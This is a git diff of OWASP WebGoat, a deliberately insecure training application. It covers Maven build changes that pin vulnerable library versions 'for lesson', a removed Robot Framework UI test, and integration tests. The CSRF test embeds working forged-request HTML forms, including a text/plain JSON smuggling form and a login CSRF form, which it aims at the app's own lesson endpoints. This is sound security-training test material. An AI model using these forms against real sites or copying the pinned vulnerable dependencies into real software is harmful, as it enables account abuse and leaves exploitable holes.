 Old GitHub page which now redirects to OWASP website.
 
+

pom.xml

@@ -1,22 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
+<?xml version="1.0"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 
     <modelVersion>4.0.0</modelVersion>
+    <groupId>org.owasp.webgoat</groupId>
+    <artifactId>webgoat</artifactId>
+    <packaging>jar</packaging>
+    <version>8.2.3-SNAPSHOT</version>
 
     <parent>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-parent</artifactId>
         <version>2.7.1</version>
     </parent>
-  <groupId>org.owasp.webgoat</groupId>
-  <artifactId>webgoat</artifactId>
-  <version>2023.4</version>
-  <packaging>jar</packaging>
 
     <name>WebGoat</name>
     <description>WebGoat, a deliberately insecure Web Application</description>
-  <url>https://github.com/WebGoat/WebGoat</url>
     <inceptionYear>2006</inceptionYear>
+    <url>https://github.com/WebGoat/WebGoat</url>
     <organization>
         <name>OWASP</name>
         <url>https://github.com/WebGoat/WebGoat/</url>
@@ -60,17 +61,17 @@
         <developer>
             <id>jwayman</id>
             <name>Jeff Wayman</name>
-      <email></email>
+            <email/>
         </developer>
         <developer>
             <id>dcowden</id>
             <name>Dave Cowden</name>
-      <email></email>
+            <email/>
         </developer>
         <developer>
             <id>lawson89</id>
             <name>Richard Lawson</name>
-      <email></email>
+            <email/>
         </developer>
         <developer>
             <id>dougmorato</id>
@@ -96,10 +97,10 @@
     </mailingLists>
 
     <scm>
+        <url>https://github.com/WebGoat/WebGoat</url>
         <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
         <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
         <tag>HEAD</tag>
-    <url>https://github.com/WebGoat/WebGoat</url>
     </scm>
 
     <issueManagement>
@@ -108,43 +109,41 @@
     </issueManagement>
 
     <properties>
+        <!-- Use UTF-8 Encoding -->
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
+        <maven.compiler.source>17</maven.compiler.source>
+        <maven.compiler.target>17</maven.compiler.target>
+        <java.version>17</java.version>
+        <webgoat.port>8080</webgoat.port>
+        <webwolf.port>9090</webwolf.port>
 
         <!-- Shared properties with plugins and version numbers across submodules-->
         <asciidoctorj.version>2.5.3</asciidoctorj.version>
         <bootstrap.version>3.3.7</bootstrap.version>
-    <cglib.version>2.2</cglib.version>
+        <cglib.version>2.2</cglib.version> <!-- do not update necessary for lesson -->
-    <!-- do not update necessary for lesson -->
         <checkstyle.version>3.1.2</checkstyle.version>
         <commons-collections.version>3.2.1</commons-collections.version>
-    <commons-io.version>2.6</commons-io.version>
         <commons-lang3.version>3.12.0</commons-lang3.version>
+        <commons-io.version>2.6</commons-io.version>
         <commons-text.version>1.9</commons-text.version>
         <guava.version>30.1-jre</guava.version>
-    <java.version>17</java.version>
         <jjwt.version>0.9.1</jjwt.version>
         <jose4j.version>0.7.6</jose4j.version>
-    <jquery.version>3.5.1</jquery.version>
         <jsoup.version>1.14.3</jsoup.version>
+        <jquery.version>3.5.1</jquery.version>
         <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
         <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
         <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
         <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
         <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
         <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
-    <maven.compiler.source>17</maven.compiler.source>
-    <maven.compiler.target>17</maven.compiler.target>
         <pmd.version>3.15.0</pmd.version>
-    <!-- Use UTF-8 Encoding -->
-    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
         <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
         <webdriver.version>4.3.1</webdriver.version>
-    <webgoat.port>8080</webgoat.port>
-    <webwolf.port>9090</webwolf.port>
         <wiremock.version>2.27.2</wiremock.version>
         <xml-resolver.version>1.2</xml-resolver.version>
-    <xstream.version>1.4.5</xstream.version>
+        <xstream.version>1.4.5</xstream.version> <!-- do not update necessary for lesson -->
-    <!-- do not update necessary for lesson -->
         <zxcvbn.version>1.5.2</zxcvbn.version>
     </properties>
 
@@ -251,6 +250,133 @@
         </dependencies>
     </dependencyManagement>
 
+    <profiles>
+        <profile>
+            <id>local-server</id>
+        </profile>
+        <profile>
+            <id>start-server</id>
+            <activation>
+                <activeByDefault>true</activeByDefault>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <id>reserve-container-port</id>
+                                <goals>
+                                    <goal>reserve-network-port</goal>
+                                </goals>
+                                <phase>process-resources</phase>
+                                <configuration>
+                                    <portNames>
+                                        <portName>webgoat.port</portName>
+                                        <portName>webwolf.port</portName>
+                                        <portName>jmxPort</portName>
+                                    </portNames>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>com.bazaarvoice.maven.plugins</groupId>
+                        <artifactId>process-exec-maven-plugin</artifactId>
+                        <version>0.9</version>
+                        <executions>
+                            <execution>
+                                <id>start-jar</id>
+                                <phase>pre-integration-test</phase>
+                                <goals>
+                                    <goal>start</goal>
+                                </goals>
+                                <configuration>
+                                    <workingDir>${project.build.directory}</workingDir>
+                                    <arguments>
+                                        <argument>java</argument>
+                                        <argument>-jar</argument>
+                                        <argument>-Dlogging.pattern.console=</argument>
+                                        <argument>-Dspring.main.banner-mode=off</argument>
+                                        <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat
+                                        </argument>
+                                        <argument>-Dwebgoat.port=${webgoat.port}</argument>
+                                        <argument>-Dwebwolf.port=${webwolf.port}</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.lang=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.util=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.text=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.io=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.util=ALL-UNNAMED</argument>
+                                        <argument>
+                                            ${project.build.directory}/webgoat-${project.version}.jar
+                                        </argument>
+                                    </arguments>
+                                    <waitForInterrupt>false</waitForInterrupt>
+                                    <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
+                                </configuration>
+                            </execution>
+                            <execution>
+                                <id>stop-jar-process</id>
+                                <phase>post-integration-test</phase>
+                                <goals>
+                                    <goal>stop-all</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>owasp</id>
+            <activation>
+                <activeByDefault>false</activeByDefault>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.owasp</groupId>
+                        <artifactId>dependency-check-maven</artifactId>
+                        <version>6.5.1</version>
+                        <configuration>
+                            <failBuildOnCVSS>7</failBuildOnCVSS>
+                            <skipProvidedScope>false</skipProvidedScope>
+                            <skipRuntimeScope>false</skipRuntimeScope>
+                            <suppressionFiles>
+                                <!--suppress UnresolvedMavenProperty -->
+                                <suppressionFile>
+                                    ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml
+                                </suppressionFile>
+                            </suppressionFiles>
+                        </configuration>
+                        <executions>
+                            <execution>
+                                <goals>
+                                    <goal>check</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+
     <dependencies>
         <dependency>
             <groupId>org.apache.commons</groupId>
@@ -388,37 +514,35 @@
             <artifactId>wiremock</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.seleniumhq.selenium</groupId>
+            <artifactId>selenium-java</artifactId>
+            <scope>test</scope>
+        </dependency>
         <dependency>
             <groupId>io.rest-assured</groupId>
             <artifactId>rest-assured</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>io.github.bonigarcia</groupId>
+            <artifactId>webdrivermanager</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
-  <repositories>
-    <repository>
-      <snapshots>
-        <enabled>false</enabled>
-      </snapshots>
-      <id>central</id>
-      <url>https://repo.maven.apache.org/maven2</url>
-    </repository>
-  </repositories>
-  <pluginRepositories>
-    <pluginRepository>
-      <snapshots>
-        <enabled>false</enabled>
-      </snapshots>
-      <id>central</id>
-      <url>https://repo.maven.apache.org/maven2</url>
-    </pluginRepository>
-  </pluginRepositories>
-
     <build>
         <plugins>
             <plugin>
                 <groupId>org.springframework.boot</groupId>
                 <artifactId>spring-boot-maven-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <goals>
+                            <goal>repackage</goal>
+                        </goals>
+                    </execution>
+                </executions>
                 <configuration>
                     <excludeDevtools>true</excludeDevtools>
                     <executable>true</executable>
@@ -431,13 +555,6 @@
                         </dependency>
                     </requiresUnpack>
                 </configuration>
-        <executions>
-          <execution>
-            <goals>
-              <goal>repackage</goal>
-            </goals>
-          </execution>
-        </executions>
             </plugin>
             <plugin>
                 <groupId>org.codehaus.mojo</groupId>
@@ -445,10 +562,10 @@
                 <executions>
                     <execution>
                         <id>add-integration-test-source-as-test-sources</id>
+                        <phase>generate-test-sources</phase>
                         <goals>
                             <goal>add-test-source</goal>
                         </goals>
-            <phase>generate-test-sources</phase>
                         <configuration>
                             <sources>
                                 <source>src/it/java</source>
@@ -465,7 +582,7 @@
                         <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
                     </systemPropertyVariables>
                     <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
-          <includes>org/owasp/webgoat/*Test</includes>
+                    <includes>**/*IntegrationTest.java</includes>
                 </configuration>
                 <executions>
                     <execution>
@@ -487,14 +604,11 @@
                 <artifactId>maven-surefire-plugin</artifactId>
                 <version>${maven-surefire-plugin.version}</version>
                 <configuration>
-          <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+                    <argLine>
-                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
-                        --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+                    </argLine>
-                        --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
                     <excludes>
                         <exclude>**/*IntegrationTest.java</exclude>
-            <exclude>src/it/java</exclude>
-            <exclude>org/owasp/webgoat/*Test</exclude>
                     </excludes>
                 </configuration>
             </plugin>
@@ -511,67 +625,6 @@
                     <suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
                 </configuration>
             </plugin>
-      <plugin>
-        <groupId>com.diffplug.spotless</groupId>
-        <artifactId>spotless-maven-plugin</artifactId>
-        <version>2.29.0</version>
-        <configuration>
-          <formats>
-            <format>
-              <includes>
-                <include>.gitignore</include>
-              </includes>
-              <trimTrailingWhitespace></trimTrailingWhitespace>
-              <endWithNewline></endWithNewline>
-              <indent>
-                <tabs>true</tabs>
-                <spacesPerTab>4</spacesPerTab>
-              </indent>
-            </format>
-          </formats>
-          <markdown>
-            <includes>
-              <include>**/*.md</include>
-            </includes>
-            <flexmark></flexmark>
-          </markdown>
-          <java>
-            <includes>
-              <include>src/main/java/**/*.java</include>
-              <include>src/test/java/**/*.java</include>
-              <include>src/it/java/**/*.java</include>
-            </includes>
-            <removeUnusedImports></removeUnusedImports>
-            <googleJavaFormat>
-              <style>GOOGLE</style>
-              <reflowLongStrings>true</reflowLongStrings>
-            </googleJavaFormat>
-          </java>
-          <pom>
-            <sortPom>
-              <encoding>UTF-8</encoding>
-              <lineSeparator>${line.separator}</lineSeparator>
-              <expandEmptyElements>true</expandEmptyElements>
-              <spaceBeforeCloseEmptyElement>false</spaceBeforeCloseEmptyElement>
-              <keepBlankLines>true</keepBlankLines>
-              <nrOfIndentSpace>2</nrOfIndentSpace>
-              <indentBlankLines>false</indentBlankLines>
-              <indentSchemaLocation>false</indentSchemaLocation>
-              <predefinedSortOrder>recommended_2008_06</predefinedSortOrder>
-              <sortProperties>true</sortProperties>
-              <sortModules>true</sortModules>
-              <sortExecutions>true</sortExecutions>
-            </sortPom>
-          </pom>
-        </configuration>
-        <executions>
-          <execution>
-            <goals>
-              <goal>check</goal>
-            </goals>
-          </execution>
-        </executions>
-      </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-enforcer-plugin</artifactId>
@@ -579,10 +632,10 @@
                 <executions>
                     <execution>
                         <id>restrict-log4j-versions</id>
+                        <phase>validate</phase>
                         <goals>
                             <goal>enforce</goal>
                         </goals>
-            <phase>validate</phase>
                         <configuration>
                             <rules>
                                 <bannedDependencies>
@@ -607,126 +660,23 @@
         </plugins>
     </build>
 
-  <profiles>
+    <repositories>
-    <profile>
+        <repository>
-      <id>local-server</id>
+            <id>central</id>
-    </profile>
+            <url>https://repo.maven.apache.org/maven2</url>
-    <profile>
+            <snapshots>
-      <id>start-server</id>
+                <enabled>false</enabled>
-      <activation>
+            </snapshots>
-        <activeByDefault>true</activeByDefault>
+        </repository>
-      </activation>
+    </repositories>
-      <build>
+    <pluginRepositories>
-        <plugins>
+        <pluginRepository>
-          <plugin>
+            <id>central</id>
-            <groupId>org.codehaus.mojo</groupId>
+            <url>https://repo.maven.apache.org/maven2</url>
-            <artifactId>build-helper-maven-plugin</artifactId>
+            <snapshots>
-            <executions>
+                <enabled>false</enabled>
-              <execution>
+            </snapshots>
-                <id>reserve-container-port</id>
+        </pluginRepository>
-                <goals>
+    </pluginRepositories>
-                  <goal>reserve-network-port</goal>
-                </goals>
-                <phase>process-resources</phase>
-                <configuration>
-                  <portNames>
-                    <portName>webgoat.port</portName>
-                    <portName>webwolf.port</portName>
-                    <portName>jmxPort</portName>
-                  </portNames>
-                </configuration>
-              </execution>
-            </executions>
-          </plugin>
-          <plugin>
-            <groupId>com.bazaarvoice.maven.plugins</groupId>
-            <artifactId>process-exec-maven-plugin</artifactId>
-            <version>0.9</version>
-            <executions>
-              <execution>
-                <id>start-jar</id>
-                <goals>
-                  <goal>start</goal>
-                </goals>
-                <phase>pre-integration-test</phase>
-                <configuration>
-                  <workingDir>${project.build.directory}</workingDir>
-                  <arguments>
-                    <argument>java</argument>
-                    <argument>-jar</argument>
-                    <argument>-Dlogging.pattern.console=</argument>
-                    <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
-                    <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
-                    <argument>-Dspring.main.banner-mode=off</argument>
-                    <argument>-Dwebgoat.port=${webgoat.port}</argument>
-                    <argument>-Dwebwolf.port=${webwolf.port}</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.lang=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.util=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.text=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.io=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.util=ALL-UNNAMED</argument>
-                    <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
-                  </arguments>
-                  <waitForInterrupt>false</waitForInterrupt>
-                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
-                </configuration>
-              </execution>
-              <execution>
-                <id>stop-jar-process</id>
-                <goals>
-                  <goal>stop-all</goal>
-                </goals>
-                <phase>post-integration-test</phase>
-              </execution>
-            </executions>
-          </plugin>
-        </plugins>
-      </build>
-    </profile>
-    <profile>
-      <id>owasp</id>
-      <activation>
-        <activeByDefault>false</activeByDefault>
-      </activation>
-      <build>
-        <plugins>
-          <plugin>
-            <groupId>org.owasp</groupId>
-            <artifactId>dependency-check-maven</artifactId>
-            <version>6.5.1</version>
-            <configuration>
-              <failBuildOnCVSS>7</failBuildOnCVSS>
-              <skipProvidedScope>false</skipProvidedScope>
-              <skipRuntimeScope>false</skipRuntimeScope>
-              <suppressionFiles>
-                <!--suppress UnresolvedMavenProperty -->
-                <suppressionFile>${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml</suppressionFile>
-              </suppressionFiles>
-            </configuration>
-            <executions>
-              <execution>
-                <goals>
-                  <goal>check</goal>
-                </goals>
-              </execution>
-            </executions>
-          </plugin>
-        </plugins>
-      </build>
-    </profile>
-  </profiles>
 
 </project>

robot/README.md

@@ -1,19 +0,0 @@
-# Install and use Robotframework
-
-## Install Chromedriver on Mac OS
-
-        brew install cask chromedriver
-        chromedriver --version
-
-Then see security settings and allow the file to run
-
-## Install
-
-        pip3 install virtualenv --user
-        python3 -m virtualenv .venv
-        source .venv/bin/activate
-        pip install robotframework
-        pip install robotframework-SeleniumLibrary
-        pip install webdriver-manager
-        robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
-

robot/goat.robot

@@ -1,101 +0,0 @@
-*** Settings ***
-Documentation  Setup WebGoat Robotframework tests
-Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
-Library  String
-
-Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
-Suite Teardown  Close_Page
-
-*** Variables ***
-${BROWSER}  chrome
-${SLEEP}  100
-${DELAY}  0.25
-${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090
-${USERNAME}  robotuser
-${PASSWORD}  password
-${HEADLESS}  ${FALSE}
-
-*** Keywords ***
-Initial_Page
-  [Documentation]  Check the inital page
-  [Arguments]  ${ENDPOINT}  ${BROWSER}
-  Log To Console  Start WebGoat UI Testing
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  ELSE
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  END
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
-  Switch Browser  webgoat
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Switch Browser  webwolf
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${400}  ${200}
-  Set Selenium Speed  ${DELAY}
-
-Close_Page
-  [Documentation]  Closing the browser
-  Log To Console  ==> Stop WebGoat UI Testing
-  IF  ${HEADLESS}
-    Switch Browser  webgoat
-    Close Browser
-    Switch Browser  webwolf
-    Close Browser
-  END
-
-*** Test Cases ***
-
-Check_Initial_Page
-  Switch Browser  webgoat
-  Page Should Contain  Username
-  Click Button  Sign in
-  Page Should Contain  Invalid username
-  Click Link  /WebGoat/registration
-
-Check_Registration_Page
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Input Text  matchingPassword  ${PASSWORD}
-  Click Element  agree
-  Click Button  Sign up
-
-Check_Welcome_Page
-  Page Should Contain  WebGoat
-  Go To  ${ENDPOINT}/login
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign in
-  Page Should Contain  WebGoat
-
-Check_Menu_Page
-  Click Element  css=a[category='Introduction']
-  Click Element  Introduction-WebGoat
-  CLick Element  Introduction-WebWolf
-  Click Element  css=a[category='General']
-  CLick Element  General-HTTPBasics
-  Click Element  xpath=//*[.='2']
-  Input Text     person  ${USERNAME}
-  Click Button   Go!
-  ${OUT_VALUE}   Get Text  xpath=//div[contains(@class, 'attack-feedback')]
-  ${OUT_RESULT}  Evaluate  "resutobor" in """${OUT_VALUE}"""
-  IF  not ${OUT_RESULT}
-    Fail  "not ok"
-  END
-
-Check_WebWolf
-  Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/WebWolf
-  Go To  ${ENDPOINT_WOLF}/mail
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign In
-

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -1,11 +1,13 @@
 package org.owasp.webgoat;
 
+
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.util.Map;
 import org.apache.http.HttpStatus;
 import org.junit.jupiter.api.Test;
 
+import java.util.Map;
+
 class AccessControlIntegrationTest extends IntegrationTest {
 
     @Test
@@ -19,7 +21,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
     }
 
     private void assignment3() {
-    // direct call should fail if user has not been created
+        //direct call should fail if user has not been created
         RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
@@ -29,9 +31,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
                 .then()
                 .statusCode(HttpStatus.SC_FORBIDDEN);
 
-    // create user
+        //create user
-    var userTemplate =
+        var userTemplate = """
-        """
                 {"username":"%s","password":"%s","admin": "true"}
                 """;
         RestAssured.given()
@@ -44,7 +45,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
                 .then()
                 .statusCode(HttpStatus.SC_OK);
 
-    // get the users
+        //get the users
         var userHash =
                 RestAssured.given()
                         .when()
@@ -58,8 +59,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
                         .jsonPath()
                         .get("find { it.username == \"Jerry\" }.userHash");
 
-    checkAssignment(
+        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
-        url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
     }
 
     private void assignment2() {

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -1,18 +1,8 @@
 package org.owasp.webgoat;
 
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
 import lombok.Data;
 import lombok.SneakyThrows;
 import org.junit.jupiter.api.AfterEach;
@@ -21,41 +11,45 @@ import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 import org.owasp.webgoat.container.lessons.Assignment;
 
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
 public class CSRFIntegrationTest extends IntegrationTest {
 
-  private static final String trickHTML3 =
+    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
-          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
-          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+            "</form></body></html>";
-          + "</form></body></html>";
 
-  private static final String trickHTML4 =
+    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
-          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
-          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
-          + "<input type=\"hidden\" name=\"validateReq\""
+            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
-          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+            "</form>\n" +
-          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+            "</body></html>";
-          + "</form>\n"
-          + "</body></html>";
 
-  private static final String trickHTML7 =
+    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
-          + " method=\"POST\">\n"
+            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
-          + "<input type=\"hidden\""
+            "</form></body></html>";
-          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
-          + " is the best!!' value='\"}' />\n"
-          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
-          + "</form></body></html>";
 
-  private static final String trickHTML8 =
+    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
-          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
-          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
-          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
-          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
-          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+            "</form></body></html>";
-          + "</form></body></html>";
 
     private String webwolfFileDir;
 
@@ -67,9 +61,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
         uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
         uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
         uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-    uploadTrickHtml(
+        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
-        "csrf8.html",
-        trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
     }
 
     @TestFactory
@@ -78,26 +70,27 @@ public class CSRFIntegrationTest extends IntegrationTest {
                 dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
